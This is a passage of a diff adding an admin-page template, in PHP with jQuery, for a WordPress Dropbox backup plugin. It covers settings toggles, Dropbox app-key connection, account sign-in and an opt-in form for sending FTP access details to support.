+ jQuery.ajax({
526
+ url: ajaxurl,
527
+ data: {'action' : 'set_user_mail', 'email' : document.auth.username.value},
528
+ type: 'POST',
529
+ dataType: 'json',
530
+ success: function(res) {
531
+
532
+ }
533
+ });
534
+ form.attr('action', data_res.url);
535
+ document.auth.submit();
536
+ //location.reload();
537
+ }
538
+ },
539
+ error: function ( jqXHR, textStatus, errorThrown ) {
540
+ AjaxAlert(jqXHR, textStatus, errorThrown);
541
+ }
542
+
543
+ });
544
+ }
545
+ }
546
+ function disconnectDropbox()
547
+ {
548
+ var form = jQuery('form#dropbox_form');
549
+ form.find('#oauth_token_secret').val('');
550
+ form.find('#oauth_token').val('');
551
+ form.find('#uid').val('');
552
+ form.find('#dropbox_uid_text').text('');
553
+ form.find('.disconnect_btn').parents('.form_block_input').removeClass('connected');
554
+ }
555
+
556
+ var winParams = "left=0,top=0,height=600,width=1000,menubar=no,location=no,resizable=yes,scrollbars=yes,status=yes,toolbar=no,directories=no"
557
+ var dropboxBut, dropboxWin;
558
+ function connectDropbox(button, href, oauth_token_secret, oauth_token, uid){
559
+ if( button && href ){
560
+ dropboxBut = jQuery(button);
561
+ var form = dropboxBut.parents('form');
562
+ var url = href;
563
+
564
+ // if (jQuery.trim(jQuery('#app_key').val()) != '' || jQuery.trim(jQuery('#app_secret').val()) != '') {
565
+ url += '&app_key='+jQuery('#app_key').val();
566
+ url += '&app_secret='+jQuery('#app_secret').val();
567
+ // }
568
+
569
+ dropboxWin = window.open(url, "Dropbox", winParams);
570
+ if( dropboxWin ){
571
+ dropboxWin.focus();
572
+ }else{
573
+ alert('<?php _e('Please, permit the pop-up windows.','dropbox-backup'); ?>');
574
+ }
575
+ }else{
576
+ var form = dropboxBut.parents('form');
577
+ if( dropboxWin ){
578
+ dropboxWin.close();
579
+ }
580
+ form.find('#oauth_token_secret').val(oauth_token_secret);
581
+ form.find('#oauth_token').val(oauth_token);
582
+ form.find('#uid').val(uid);
583
+ auth_param = false;
584
+ form.find('#dropbox_uid_text').html('<?php _e('Dropbox successfully connected:','dropbox-backup')?> UID ' + uid);
585
+ blick_form = false;
586
+ dropboxBut.parents('.form_block_input').addClass('connected');
587
+ }
588
+ }
589
+ function getHelperDropbox()
590
+ {
591
+ jQuery('#helper-keys').arcticmodal({
592
+ beforeOpen: function(data, el) {
593
+ jQuery('#helper-keys').css('display','block');
594
+ },
595
+ afterClose: function(data, el) {
596
+ jQuery('#helper-keys').css('display','none');
597
+ }
598
+ });
599
+ }
600
+
601
+ function setReadOnly(id)
602
+ {
603
+ r = jQuery('#' + id).attr('readonly');
604
+ if (r == 'readonly') {
605
+ jQuery('#' + id).prop('readonly', false);
606
+ } else {
607
+ jQuery('#' + id).prop('readonly', true);
608
+
609
+ }
610
+ }
611
+ function InludesSetting()
612
+ {
613
+ disp = jQuery('#inludes-setting').css('display');
614
+ if (disp == 'none') {
615
+ showLoadingImg(true);
616
+ getIncludesData();
617
+ jQuery('#inludes-setting').show("slow");
618
+ } else {
619
+ jQuery('.show-includes').html("");
620
+ jQuery('#inludes-setting').hide("slow");
621
+ }
622
+ }
623
+ var level_tree = {};
624
+ function getIncludesData(type, dir_)
625
+ {
626
+ data = {'action' : 'getDirsIncludes'};
627
+ if (type != 'undefined') {
628
+ data['files'] = type
629
+ }
630
+ if ( ( typeof dir_ ) != 'undefined') {
631
+ data['path'] = dir_.path;
632
+ }
633
+ jQuery.ajax({
634
+ url: ajaxurl,
635
+ data: data,
636
+ type: 'POST',
637
+ dataType: 'json',
638
+ success: function(data_res) {
639
+ showLoadingImg(false);
640
+ if ((typeof dir_) != 'undefined') {
641
+ jQuery('#img_load_' + dir_.cache).css('display', 'none');
642
+ }
643
+ if (data.path) {
644
+ showIncludesData(data_res.dir, dir_.id);
645
+ } else {
646
+ if (data_res.dir) {
647
+ showIncludesData(data_res.dir);
648
+ }
649
+ }
650
+ level_tree[level_tree.length] = data_res.dir;
651
+ },
652
+ error: function(jqXHR, textStatus, errorThrown) {
653
+ AjaxAlert(jqXHR, textStatus, errorThrown);
654
+ }
655
+ });
656
+ }
657
+ function loadInludes(path, cache, t, lvl)
658
+ {
659
+ if (t.checked) {
660
+ showLoadingImg(true);
661
+ jQuery('#include_' + cache).html('');
662
+ jQuery('#img_load_' + cache).css({'display':'inline'});
663
+ getIncludesData('undefined', {'path' : path, 'id' : 'include_' + cache, 'cache' : cache });
664
+ jQuery('#include_' + cache).show('slow');
665
+ } else {
666
+ in_id = jQuery(t).attr('id')
667
+ if (jQuery('#include_' + in_id).length > 0) {
668
+ jQuery('#include_' + in_id).hide('slow');
669
+ }
670
+ }
671
+ }
672
+ function showIncludesData(data, id)
673
+ {
674
+ html = "";
675
+ if ( ( typeof data ) != 'undefined' ) {
676
+ if (data.length > 0) {
677
+ for(i = 0; i < data.length; i++) {
678
+ if (data[i].check) {
679
+ check = 'checked="checked"' ;
680
+ send_checked[send_checked.length] = data[i].check_folder;
681
+ } else {
682
+ check = '';
683
+ }
684
+ html += '<div id="inc_' + data[i].cache + '" data-value="' + data[i].cache + '">' +
685
+ '<input type="checkbox" ' + check + ' class="checkbox-send" value="' + data[i].folder + '" name="folder-include" id="send-to-' + data[i].cache + '" onclick="connectFolder(this)" />' +
686
+ '<input type="checkbox" class="input-folder" value="/' + data[i].dir + '" id="' + data[i].cache + '" onclick="loadInludes(\'/' + data[i].folder + '\', \'' + data[i].cache +'\', this, \'' + level_tree.length + '\')" />' +
687
+ '<label for="' + data[i].cache + '">' + data[i].dir + ' <span style="font-size:10px;">(' + data[i].perm + ')</span>' + '</label>' +
688
+ '<div id="img_load_' + data[i].cache + '" style="display:none; margin-left:10px;position:relative;">' +
689
+ '<img style="position:absolute;bottom:0;" src="<?php echo plugins_url('/img/folder-loader.gif', dirname(__FILE__) ); ?>" alt="load" title="load" >' +
690
+ '</div>'+
691
+ '<div class="tree-includes" id="include_' + data[i].cache + '">' +
692
+ '</div>' +
693
+ '</div>';
694
+ }
695
+ if (jQuery("#" + id).length > 0) {
696
+ jQuery("#" + id).html(html);
697
+ } else {
698
+ jQuery('.show-includes').html(html);
699
+ }
700
+ }
701
+ }
702
+ }
703
+
704
+ function saveIncludes()
705
+ {
706
+ data = {'action' : 'saveDirsIncludes', 'save' : 1, 'data' : send_checked}
707
+ if (send_checked.length > 0) {
708
+ showLoadingImg(true);
709
+ jQuery.ajax({
710
+ url: ajaxurl,
711
+ data: data,
712
+ type: 'POST',
713
+ dataType: 'json',
714
+ success: function(data_res) {
715
+ showLoadingImg(false);
716
+
717
+ },
718
+ error: function (jqXHR, textStatus, errorThrown) {
719
+ AjaxAlert(jqXHR, textStatus, errorThrown);
720
+ }
721
+ });
722
+ }
723
+ }
724
+ function saveSetting(id)
725
+ {
726
+ if (jQuery('#' + id).length > 0) {
727
+ is_value = 0;
728
+ if(document.getElementById(id).checked) {
729
+ is_value = 1;
730
+ }
731
+
732
+ data = {'action' : 'saveSetting'}
733
+ data[id] = is_value;
734
+ jQuery.ajax({
735
+ url: ajaxurl,
736
+ data: data,
737
+ type: 'POST',
738
+ dataType: 'json',
739
+ success: function(data_res) {
740
+ location.reload();
741
+ },
742
+ error: function( jqXHR, textStatus, errorThrown ){
743
+ AjaxAlert(jqXHR, textStatus, errorThrown);
744
+ }
745
+ });
746
+ }
747
+ }
748
+ var app_key = app_secret = '';
749
+ function showApp()
750
+ {
751
+ disp = jQuery('#dropbox-app-key').css('display');
752
+ if (disp == 'none') {
753
+ jQuery('#dropbox-app-key').show('slow');
754
+ jQuery('#help-key-pass').show('slow');
755
+ jQuery('#dropbox-app-secret').show('slow');
756
+ jQuery('#app_secret').val(app_secret);
757
+ jQuery('#app_key').val(app_key);
758
+ jQuery('.stat-table-registr').css('margin-bottom', '25px');
759
+ } else {
760
+ jQuery('#dropbox-app-key').hide('slow');
761
+ jQuery('#help-key-pass').hide('slow');
762
+ jQuery('#dropbox-app-secret').hide('slow');
763
+ app_key = jQuery('#app_key').val();
764
+ app_secret = jQuery('#app_secret').val()
765
+ jQuery('#app_secret').val('');
766
+ jQuery('#app_key').val('');
767
+ jQuery('.stat-table-registr').css('margin-bottom', '0px');
768
+ }
769
+ }
770
+ function showFormAjax()
771
+ {
772
+ //form-ajax-ftp-email
773
+ disp = jQuery('#form-ajax-ftp-email').css('display');
774
+ if (disp == 'none') {
775
+ jQuery('#form-ajax-ftp-email').show('slow');
776
+ } else {
777
+ jQuery('#form-ajax-ftp-email').hide('slow');
778
+ }
779
+ }
780
+ <?php
781
+ $command_running = get_transient('running_command');
782
+ if (isset($is_runnig) && $is_runnig && $command_running) {
783
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
784
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
785
+ }
786
+ ?>
787
+ jQuery(document).ready(function() {
788
+ jQuery("#logs-form").show("slow");
789
+ jQuery("#action-buttons").css('margin-top', '8px');
790
+
791
+ <?php if(!$stars5) { ?>
792
+ jQuery("#support-button").css('margin-top', '132px');
793
+ <?php } else { ?>
794
+ jQuery("#support-button").css('margin-top', '8px');
795
+ <?php } ?>
796
+ jQuery("#log-backup").html('');
797
+ jQuery(".title-logs").css('display', 'block');
798
+ jQuery(".title-status").css('display', 'none');
799
+ type_backup = '<?php echo $command_running; ?>';
800
+
801
+ setTimeout(function() {
802
+ disable_buttons() ;
803
+ }, 10)
804
+ process_flag = 1;
805
+ processBar(type_backup);
806
+ showTime(1);
807
+ });
808
+ <?php }?>
809
+ </script>
810
+ <?php if (!empty($error)) {
811
+ echo '<div class="error" style="text-align: center; color: red; font-weight:bold;">
812
+ <p style="font-size: 16px;">
813
+ ' . $error . '
814
+ </p></div>';
815
+ }?>
816
+ <?php if (!empty($msg)) {
817
+ echo '<div class="updated" style="text-align: center; font-weight:bold;">
818
+ <p style="font-size: 16px;">
819
+ ' . $msg . '
820
+ </p></div>';
821
+ }?>
822
+ <div id="is-dropbox-auth" style="display: none; width: 380px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
823
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:45px; line-height: 30px;">
824
+ <?php _e('Please, add your Dropbox credentials:','dropbox-backup'); ?><br />
825
+ <strong><?php _e('"App key"','dropbox-backup'); ?></strong> & <strong><?php _e('"App secret"','dropbox-backup'); ?></strong> <br />
826
+ <?php _e('in the Setting Form','dropbox-backup'); ?>
827
+ </div>
828
+ <div class="button-description" style="padding:20px 0;padding-top:45px">
829
+ <input type="button" value="<?php _e('OK','dropbox-backup'); ?>" onclick="jQuery('#is-dropbox-auth').arcticmodal('close');" style="text-align: center; width: 100px;" class="button-wpadm">
830
+ </div>
831
+ </div>
832
+ <?php
833
+ if (isset($sent_response)) {
834
+ ?>
835
+ <script>
836
+ jQuery(document).ready(function() {
837
+ jQuery('#sent-error-report').arcticmodal({
838
+ beforeOpen: function(data, el) {
839
+ jQuery('#sent-error-report').css('display','block');
840
+ },
841
+ afterClose: function(data, el) {
842
+ jQuery('#sent-error-report').css('display','none');
843
+ }
844
+ });
845
+ })
846
+ </script>
847
+ <div id="sent-error-report" style="display: none;" >
848
+ <div class="text-view">
849
+ <?php echo $sent_response ;?>
850
+ </div>
851
+ <div class="button-sent-report">
852
+ <input type="button" class="button-wpadm" value="<?php _e('OK','dropbox-backup'); ?>" onclick="jQuery('#sent-error-report').arcticmodal('close')" />
853
+ </div>
854
+ </div>
855
+ <?php
856
+ }
857
+ ?>
858
+ <div id="ajax-alert" style="display: none;width: 800px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
859
+ <div id="ajax-message" style="font-size: 15px; margin-top: 10px; margin-bottom: 30px;"></div>
860
+ <div style="font-size: 15px; margin-bottom: 30px;"><?php _e('To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, <br />that you tried to create or simply send to us your FTP access data.','dropbox-backup');?></div>
861
+
862
+ <form action="<?php echo admin_url( 'admin-post.php?action=error_logs_check' )?>" method="post" style=" text-align: left; margin-left:110px;margin-bottom:20px;">
863
+ <div style="margin-top: 10px; font-size: 16px; font-weight: bold; margin-bottom: 10px;">
864
+ <input type="checkbox" onclick="showFormAjax();" style="margin: 0;" id="show-form-ajax" /> <label for="show-form-ajax"><?php _e('I want to provide your FTP access to resolve this issue quickly:','dropbox-backup');?></label>
865
+ </div>
866
+ <div id="form-ajax-ftp-email" style="display: none;">
867
+ <div class="form-help-send-error" >
868
+ <div style="margin-top: 3px;">
869
+ <div class="label-help" style="">
870
+ <label for="ftp-host"><?php _e('FTP Host','dropbox-backup'); ?></label>
871
+ </div>
872
+ <div style="float:left; ">
873
+ <input type="text" id="ftp-host" value="<?php echo str_ireplace(array('http://', 'https://'), '', home_url()) ;?>" name="ftp_host" >
874
+ </div>
875
+ </div>
876
+ <div class="clear"></div>
877
+ <div style="margin-top: 3px;">
878
+ <div class="label-help" >
879
+ <label for="ftp-user"><?php _e('FTP User','dropbox-backup'); ?></label>
880
+ </div>
881
+ <div style="float:left; ">
882
+ <input type="text" id="ftp-user" value="" name="ftp_user">
883
+ </div>
884
+ </div>
885
+ <div class="clear"></div>
886
+ <div style="margin-top: 3px;">
887
+ <div class="label-help" >
888
+ <label for="ftp-pass"><?php _e('FTP Password','dropbox-backup'); ?></label>
889
+ </div>
890
+ <div style="float:left; ">
891
+ <input type="text" id="ftp-pass" value="" name="ftp_pass">
892
+ </div>
893
+ </div>
894
+ <div class="clear"></div>
895
+
896
+ </div>
897
+ <div class="form-help-mail-response">
898
+ <div style="padding: 20px; border:1px solid #fff; margin-top: 3px;">
899
+ <div class="label-help" >
900
+ <label for="email-resp"><?php _e('Response Email:','dropbox-backup'); ?></label>
901
+ </div>
902
+ <div style=" ">
903
+ <input type="text" id="email-resp" value="<?php echo get_option('admin_email');?>" style="padding-left:3px;" name="mail_response">
904
+ </div>
905
+ </div>
906
+ </div>
907
+ </div>
908
+ <div class="clear"></div>
909
+ <div style="text-align: left; margin-left: 100px; margin-top: 10px;">
910
+ <input value="<?php echo $time_log; ?>" type="hidden" name="time_pars">
911
+ <input value="" type="hidden" name="msg_ajax" id="msg_ajax">
912
+ </div>
913
+ <div class="ajax-button" style="margin-bottom: 10px;">
914
+ <input type="submit" class="button-wpadm" value="<?php _e('SEND TO SUPPORT and close this window','dropbox-backup'); ?>" />&nbsp;&nbsp;&nbsp;
915
+ <input type="button" class="button-wpadm" onclick="jQuery('#ajax-message').arcticmodal('close')" value="<?php _e('Close this window WITHOUT SENDING TO SUPPORT','dropbox-backup'); ?>" />
916
+ </div>
917
+ </form>
918
+ </div>
919
+ <div id="helper-keys" style="display: none;width: 400px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
920
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:20px; line-height: 30px;">
921
+ <?php _e('Where can I find my app key and secret?','dropbox-backup'); ?>
922
+ </div>
923
+ <div class="button-description" style="padding:20px 10px;padding-top:20px; text-align: left;">
924
+ <?php _e('You can get an API app key and secret by creating an app on the','dropbox-backup'); ?>
925
+ <a href="https://www.dropbox.com/developers/apps/create?app_type_checked=api" target="_blank"><?php _e('app creation page','dropbox-backup'); ?></a>.
926
+ <?php _e('Once you have an app created, the app key and secret will be available on the app\'s page on the','dropbox-backup'); ?>
927
+ <a href="https://www.dropbox.com/developers/apps" target="_blank"><?php _e('App Console','dropbox-backup'); ?></a>
928
+ . <?php _e('Note that Drop-ins have app keys but no app secrets.','dropbox-backup'); ?>
929
+ </div>
930
+ <div class="button-description" style="padding:20px 0;padding-top:10px">
931
+ <input type="button" value="<?php _e('OK','dropbox-backup'); ?>" onclick="jQuery('#helper-keys').arcticmodal('close');" style="text-align: center; width: 100px;" class="button-wpadm">
932
+ </div>
933
+ </div>
934
+ <!-- <a href="#" onclick="stopBackup();">Stop backup</a> -->
935
+ <div class="block-content" style="margin-top:20px;">
936
+ <div class="inline" style="width: 60%">
937
+ <span style="font-size:16px;">
938
+ <?php _e('Use Professional version of "Dropbox backup and restore" plugin and get:','dropbox-backup') ; ?>
939
+ </span>
940
+ <ul class="list-dropbox-backup-pro">
941
+ <li><img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
942
+ <span class="text">
943
+ <?php _e('Automated Dropbox backup (Scheduled backup tasks)','dropbox-backup') ; ?>
944
+ </span>
945
+ </li>
946
+ <li>
947
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
948
+ <span class="text">
949
+ <?php _e('Automated Local backup (Scheduled backup tasks)','dropbox-backup') ; ?>
950
+ </span>
951
+ </li>
952
+ <li>
953
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
954
+ <span class="text">
955
+ <?php _e('Backup Status E-Mail Reporting','dropbox-backup') ; ?>
956
+ </span>
957
+ </li>
958
+ <li>
959
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
960
+ <span class="text">
961
+ <?php _e('Online Service "Backup Website Manager" (Copy, Clone or Migrate of websites)','dropbox-backup') ; ?>
962
+ </span>
963
+ </li>
964
+ <li>
965
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
966
+ <span class="text">
967
+ <?php _e('One Year Free Updates for PRO version','dropbox-backup') ; ?>
968
+ </span>
969
+ </li>
970
+ <li>
971
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
972
+ <span class="text">
973
+ <?php _e('One Year Priority support','dropbox-backup') ; ?>
974
+ </span>
975
+ </li>
976
+ </ul>
977
+ </div>
978
+ <div class="inline-right" style="margin-top: 0;">
979
+ <div class="image-dropbox-pro" onclick="document.dropbox_pro_form.submit();">
980
+ <img src="<?php echo plugins_url('/template/dropbox_pro_logo_box1.png', dirname(__FILE__));?>" title="<?php _e('Get PRO version','dropbox-backup');?>" alt="<?php _e('Get PRO version','dropbox-backup'); ?>">
981
+ </div>
982
+ <div style="margin-top:26%; float: left; margin-left: 20px; margin-right: 15px;">
983
+ <form action="<?php echo WPADM_URL_PRO_VERSION; ?>api/" method="post" id="dropbox_pro_form" name="dropbox_pro_form" >
984
+ <input type="hidden" value="<?php echo home_url();?>" name="site">
985
+ <input type="hidden" value="<?php echo 'proBackupPay'?>" name="actApi">
986
+ <input type="hidden" value="<?php echo get_option('admin_email');?>" name="email">
987
+ <input type="hidden" value="<?php echo 'dropbox-backup';?>" name="plugin">
988
+ <input type="hidden" value="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox&pay=success"); ?>" name="success_url">
989
+ <input type="hidden" value="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox&pay=cancel"); ?>" name="cancel_url">
990
+ <input type="submit" class="backup_button" value="<?php _e('Get PRO','dropbox-backup');?>">
991
+ </form>
992
+ </div>
993
+ </div>
994
+
995
+ <div class="clear"></div>
996
+ </div>
997
+ <div class="block-content" style="margin-top:2px;">
998
+ <div style="min-height : 215px; padding: 5px; padding-top: 10px;">
999
+ <div class="log-dropbox" style="background-image: url(<?php echo plugins_url('/img/dropbox.png', dirname(__FILE__));?>);">
1000
+ </div>
1001
+ <div style="float: bottom; font-size: 40px; font-weight: bold; text-shadow: 1px 2px 2px #666; margin-left: 189px; line-height: 42px; margin-top: -12px;">
1002
+ <?php _e('Dropbox Full Backup','dropbox-backup');?>
1003
+ <span style="font-size: 20px;"><?php _e('(files+database)','dropbox-backup');?></span>
1004
+
1005
+ <span style="font-size: 11px;">
1006
+ <?php echo (isset($plugin_data[0]['Version']) ? 'Version ' . $plugin_data[0]['Version'] : '')?>
1007
+ </span>
1008
+
1009
+ </div>
1010
+ <?php if ($show) {?>
1011
+ <div id="container-user" class="cfTabsContainer" style="width: 48%; padding-bottom: 0px; padding-top: 0px; float: left; margin-left: 20px;">
1012
+ <div class="stat-wpadm-info-title" id="title-regisr" style="padding :20px 0px; margin-top:11px; line-height: 25px;">
1013
+ <?php _e('Free Sign Up','dropbox-backup'); ?> <br /><?php _e('to backup more than one website...','dropbox-backup'); ?>
1014
+ </div>
1015
+ <div id="cf_activate" class="cfContentContainer" style="display: none;">
1016
+ <form method="post" id="dropbox_form" action="<?php echo admin_url( 'admin-post.php?action=wpadm_activate_plugin' )?>" >
1017
+ <div class="stat-wpadm-registr-info" style="margin-bottom: 40px; margin-top: 17px;">
1018
+ <table class="form-table stat-table-registr" style="">
1019
+ <tbody>
1020
+ <tr valign="top">
1021
+ <th scope="row">
1022
+ <label for="email"><?php _e('E-mail','dropbox-backup'); ?></label>
1023
+ </th>
1024
+ <td>
1025
+ <input id="email" class="" type="text" name="email" value="">
1026
+ </td>
1027
+ </tr>
1028
+ <tr valign="top">
1029
+ <th scope="row">
1030
+ <label for="password"><?php _e('Password','dropbox-backup'); ?></label>
1031
+ </th>
1032
+ <td>
1033
+ <input id="password" class="" type="password" name="password" value="">
1034
+ </td>
1035
+ </tr>
1036
+ <tr valign="top">
1037
+ <th scope="row">
1038
+ <label for="password-confirm"><?php _e('Password confirm','dropbox-backup'); ?></label>
1039
+ </th>
1040
+ <td>
1041
+ <input id="password-confirm" class="" type="password" name="password-confirm" value="">
1042
+ </td>
1043
+ </tr>
1044
+ <tr valign="top">
1045
+ <th scope="row">
1046
+ </th>
1047
+ <td>
1048
+ <input class="button-wpadm" type="submit" value="<?php _e('Register & Activate','dropbox-backup'); ?>" name="send">
1049
+ </td>
1050
+ </tr>
1051
+ </tbody>
1052
+ </table>
1053
+ </div>
1054
+ <div class="stat-wpadm-info" id="registr-info" style="margin-bottom: 2px; margin-top: 30px;">
1055
+ <span style="font-weight:bold; font-size: 14px;"><?php _e('If you are NOT registered at','dropbox-backup'); ?> <a target="_blank" style="color: #fff" href="<?php echo SERVER_URL_INDEX; ?>"><?php _e('WPAdm','dropbox-backup'); ?></a>,</span> <?php _e('enter your email and password to use as your Account Data for authorization on WPAdm.','dropbox-backup'); ?> <br /><span style="font-weight: bold;font-size: 14px;"><?php _e('If you already have an account at','dropbox-backup'); ?> <a target="_blank" style="color: #fff" href="<?php echo SERVER_URL_INDEX; ?>"><?php _e('WPAdm','dropbox-backup'); ?></a></span> <?php _e('and you want to Sign-In, so please, enter your registered credential data (email and password twice).','dropbox-backup'); ?>
1056
+ </div>
1057
+ </form>
1058
+ </div>
1059
+ <div class="clear"></div>
1060
+ <div class="block-button-show" style="color: #fff;">
1061
+ <div class="block-click" onclick="showRegistInfo(true);">
1062
+ <span id="registr-show" style="color: #fff;"><?php _e('Show','dropbox-backup'); ?></span>
1063
+ <div id="registr-choice-icon" class="dashicons dashicons-arrow-down" style=""></div>
1064
+ </div>
1065
+ </div>
1066
+ </div>
1067
+ <?php } else { ?>
1068
+ <div id="container-user" class="cfTabsContainer" style="width: 48%; padding-bottom: 0px; padding-top: 0px; float: left; margin-left: 20px;">
1069
+ <div class="stat-wpadm-info-title" id="title-regisr" style="padding :10px 0px; margin-top:11px; line-height: 25px; text-align: left; margin-left: 10px;">
1070
+ <?php _e('Sign In to backup more than one website...','dropbox-backup'); ?>
1071
+ </div>
1072
+ <div>
1073
+ <form method="post" id="auth" name="auth" action="<?php echo SERVER_URL_INDEX . "login-process" ; ?>">
1074
+ <div>
1075
+ <div id="message-form" style="color: red; float: left;margin: 10px;margin-top: 14px;"></div>
1076
+ </div>
1077
+ <div style="padding: 5px; clear: both;">
1078
+ <div class="form-field">
1079
+ <input class="input-small" type="text" id="username" value="<?php echo get_option(PREFIX_BACKUP_ . "email");?>" readonly="readonly" required="required" name="username" placeholder="<?php _e('Email','dropbox-backup'); ?>" />
1080
+ </div>
1081
+ <div class="form-field">
1082
+ <input class="input-small" type="password" required="required" name="password" placeholder="<?php _e('Password','dropbox-backup'); ?>" />
1083
+ </div>
1084
+ <div class="form-field">
1085
+ <input class="button-wpadm" type="button" value="Sign In" onclick="auth_form(this);" />
1086
+ <input type="hidden" value="<?php echo 'dropbox-backup'?>" name="plugin" />
1087
+ </div>
1088
+ </div>
1089
+ <div style="clear:both; padding: 5px; font-size: 11px; color: #fff;">
1090
+ <div class="form-field" style="margin-bottom: 10px;">
1091
+ <input type="checkbox" onclick="setReadOnly('username')" style="margin: 0px;"> <?php _e('set new mail','dropbox-backup'); ?>
1092
+ </div>
1093
+ </div>
1094
+ <div style="clear:both;"></div>
1095
+ </form>
1096
+ </div>
1097
+ </div>
1098
+ <?php } ?>
1099
+ <div class="cfTabsContainer" style="width: 28%; float: left; margin-left: 10px; padding-bottom: 0px; padding-top: 0px;">
1100
+ <div class="stat-wpadm-info-title" id="title-setting" style="padding :20px 0px; margin-top:11px; line-height: 50px;">
1101
+ <?php _e('Settings','dropbox-backup'); ?>
1102
+ </div>
1103
+ <div id="setting_active" class="cfContentContainer" style="display: none;">
1104
+ <form method="post" action="" >
1105
+ <div class="stat-wpadm-registr-info" style="width: 100%; margin-bottom: 9px;">
1106
+ <div style="margin-bottom: 12px; margin-top: 20px; font-size: 15px; text-align: center;">
1107
+ <input class="btn-orange" type="button" style="padding: 5px 10px; font-size: 15px; font-weight: 500" onclick="connectDropbox(this,'<?php echo admin_url( 'admin-post.php?action=dropboxConnect' )?>')" value="<?php _e('Connect to Dropbox','dropbox-backup'); ?>" name="submit">
1108
+ <div class="desc-wpadm"><span id="dropbox_uid_text"><?php echo isset($dropbox_options['oauth_token']) && isset($dropbox_options['uid']) ? __('Dropbox successfully connected:','dropbox-backup') . " UID " . $dropbox_options['uid'] : ''; ?></span></div>
1109
+ </div>
1110
+ <?php $show_fields = isset($dropbox_options['app_key']) && !empty($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && !empty($dropbox_options['app_secret']) && $dropbox_options['app_key'] != WPADM_APP_KEY && $dropbox_options['app_secret'] != WPADM_APP_SECRET ; ?>
1111
+ <div class="setting-checkbox">
1112
+ <input type="checkbox" onclick="showApp();" <?php echo $show_fields ? 'checked="checked"' : ''?> id="dbconnection-to-app" /><label for="dbconnection-to-app"><?php _e('Connect using my Dropbox App','dropbox-backup');?></label>
1113
+ </div>
1114
+
1115
+ <table class="form-table stat-table-registr" style="margin-top:2px; <?php echo $show_fields ? 'margin-bottom:25px;' : ''?>">
1116
+ <tbody>
1117
+ <tr valign="top" id="dropbox-app-key" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
1118
+ <th scope="row">
1119
+ <label for="app_key"><?php _e('App key','dropbox-backup'); ?>*</label>
1120
+ </th>
1121
+ <td>
1122
+ <input id="app_key" class="" type="text" name="app_key" value="<?php echo isset($dropbox_options['app_key']) && $dropbox_options['app_key'] != WPADM_APP_KEY ? $dropbox_options['app_key'] : ''?>">
1123
+ </td>
1124
+ </tr>
1125
+ <tr valign="top" id="dropbox-app-secret" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
1126
+ <th scope="row">
1127
+ <label for="app_secret"><?php _e('App secret','dropbox-backup'); ?>*</label>
1128
+ </th>
1129
+ <td>
1130
+ <input id="app_secret" class="" type="text" name="app_secret" value="<?php echo isset($dropbox_options['app_secret']) && $dropbox_options['app_secret'] != WPADM_APP_SECRET ? $dropbox_options['app_secret'] : ''?>">
1131
+ </td>
1132
+ </tr>
1133
+
1134
+ <tr valign="top" id="help-key-pass" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
1135
+ <td colspan="2" align="center">
1136
+ <a class="help-key-secret" href="javascript:getHelperDropbox();" ><?php _e('Where to get App key & App secret?','dropbox-backup'); ?></a><br />
1137
+ </td>
1138
+ </tr>
1139
+ </tbody>
1140
+ </table>
1141
+
1142
+ <?php if ( is_super_admin() ) { ?>
1143
+ <div class="setting-checkbox">
1144
+ <input type="checkbox" <?php echo isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ? 'checked="checked"' : ''; ?> name="is_admin" value="1" id="is_admin" onclick="saveSetting('is_admin')" />
1145
+ <label for="is_admin" style="font-size: 13px;"><?php _e('Appear in menu for admins only','dropbox-backup'); ?></label>
1146
+ </div>
1147
+ <?php } ?>
1148
+ <div class="setting-checkbox">
1149
+ <input type="checkbox" <?php echo (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 'checked="checked"' : ''; ?> name="is_optimization" value="1" id="is_optimization" onclick="saveSetting('is_optimization')" />
1150
+ <label for="is_optimization" style="font-size: 13px;"><?php _e('Database Optimization','dropbox-backup'); ?></label>
1151
+ </div>
1152
+ <div class="setting-checkbox">
1153
+ <input type="checkbox" <?php echo (isset($dropbox_options['is_local_backup_delete']) && $dropbox_options['is_local_backup_delete'] == 1) ? 'checked="checked"' : ''; ?> name="is_local_backup_delete" value="1" id="is_local_backup_delete" onclick="saveSetting('is_local_backup_delete')" />
1154
+ <label for="is_local_backup_delete" style="font-size: 13px;"><?php _e('Don\'t delete a local backup copy after uploading to dropbox','dropbox-backup'); ?></label>
1155
+ </div>
1156
+ </div>
1157
+ </form>
1158
+ </div>
1159
+ <div class="clear"></div>
1160
+ <div class="block-button-show" style="color: #fff;">
1161
+ <div class="block-click" onclick="showSetting(true);">
1162
+ <span id="setting-show" style="color: #fff;"><?php _e('Show','dropbox-backup'); ?></span>
1163
+ <div id="setting-choice-icon" class="dashicons dashicons-arrow-down" style=""></div>
1164
+ </div>
1165
+ </div>
1166
+ </div>
1167
+ </div>
1168
+ </div>
1169
+ <div style="clear: both;"></div>
1170
+ <div class="block-content">
1171
+ <div class="" style="margin-top:10px;">
1172
+ <div id="logs-form" style="display: none; float:left; width: 70%;">
1173
